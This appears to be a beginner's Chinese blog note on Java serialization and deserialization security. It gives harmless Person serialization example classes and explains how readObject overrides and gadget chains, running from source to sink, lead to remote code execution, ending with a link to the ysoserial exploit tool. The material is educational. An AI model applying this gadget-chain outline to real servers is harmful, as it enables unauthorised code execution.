早就想学java安全,但一直无从下手,今天下定决心好好学习,当然以下内容可能会有些许错误,小白的烦恼。 序列化与反序列化 Java序列化是指把Java对象转换为字节序列的过程;而Java反序列化是指把字节序列恢复为Java对象的过程。 序列化分为两大部分:序列化和反序列化。序列化是这个过程的第一部分,将数据分解成字节流,以便存储在文件中或在网络上传输。反序列化就是打开字节流并重构对象。对象序列化不仅要将基本数据类型转换成字节表示,有时还要恢复数据。恢复数据要求有恢复数据的对象实例。 为什么需要序列化与反序列化 我们知道,当两个进程进行远程通信时,可以相互发送各种类型的数据,包括文本、图片、音频、视频等, 而这些数据都会以二进制序列的形式在网络上传送。那么当两个Java进程进行通信时,能否实现进程间的对象传送呢?答案是可以的。如何做到呢?这就需要Java序列化与反序列化了。换句话说,一方面,发送方需要把这个Java对象转换为字节序列,然后在网络上传送;另一方面,接收方需要从字节序列中恢复出Java对象。 当我们明晰了为什么需要Java序列化和反序列化后,我们很自然地会想Java序列化的好处。其好处一是实现了数据的持久化,通过序列化可以把数据永久地保存到硬盘上(通常存放在文件里),二是,利用序列化实现远程通信,即在网络上传送对象的字节序列。 ① 想把内存中的对象保存到一个文件中或者数据库中时候;② 想用套接字在网络上传送对象的时候;③ 想通过RMI传输对象的时候 为什么会产生安全问题? 只要服务端反序列化数据,客户端传递类的readObject中代码会自动执行,给予攻击者在服务器上运行代码的能力。 几种常见的序列化和反序列化协议 XML&SOAP JSON Protobuf 理解 类比快递、打包和拆包 有些快递打包和拆包时有独特需求、比如易碎朝上,类比重写writeObject和readObject 实例 Java反序列化的操作,很多是需要开发者深入参与的,所以你会发现大量的库会实现readObject 、writeObject 方法,这和PHP中__wakeup 、__sleep 很少使用是存在鲜明对比的。我在《Java安全漫谈 - 06.RMI篇(3)》的最后一部分,讲到了classAnnotations ,这次再来说说objectAnnotation 。Java在序列化时一个对象,将会调用这个对象中的writeObject 方法,参数类型是ObjectOutputStream ,开发者可以将任何内容写入这个stream中;反序列化时,会调用readObject ,开发者也可以从中读取出前面 创建一个person类 import java.io.IOException; import java.io.ObjectInputStream; import java.io.Serializable; public class Person implements Serializable {    private String name;    private int age;    public Person(){}    public Person(String name,int age){        this.name=name;        this.age=age;   }    @Override    public String toString() {        return "Person{"+        "name='" + name + "\'" +                ",'age=" + age +                '}';   } } 创建一个序列化类 import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; public class SerializationTest {   public static void serialize(Object obj) throws IOException {       ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));       oos.writeObject(obj);   }   public static void main(String[] args) throws Exception{       Person person=new Person("xinyuan",22);       serialize(person);       System.out.println(person);   } } 创建一个反序列化类 import java.io.FileInputStream; import java.io.IOException; import java.io.ObjectInputStream; public class UnserializationTest {   public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {       ObjectInputStream ois=new ObjectInputStream(new FileInputStream("ser.bin"));       Object obj = ois.readObject();       return obj;   }   public static void main(String[] args) throws Exception{       Person person=(Person) unserialize("ser.bin");       System.out.println(person);   } } 可能的形式 1.入口类的readObject直接调用危险方法 在person类,重写readObject方法,序列化后,反序列化 2.入口类参数中包含可控类,该类有危险方法,readObject时调用。 3.入口类参数包含可控类,该类又调用其他有危险方法的类,readObject时调用 条件 共同条件 继承Serializable 入口类 source(重写readObject 参数类型宽泛 最好jdk自带) Map<Object ,Object> 调用链 gadget chain 相同名称,相同类型 执行类 sink(rce ssrf 写文件等等) https://github.com/frohoff/ysoserial/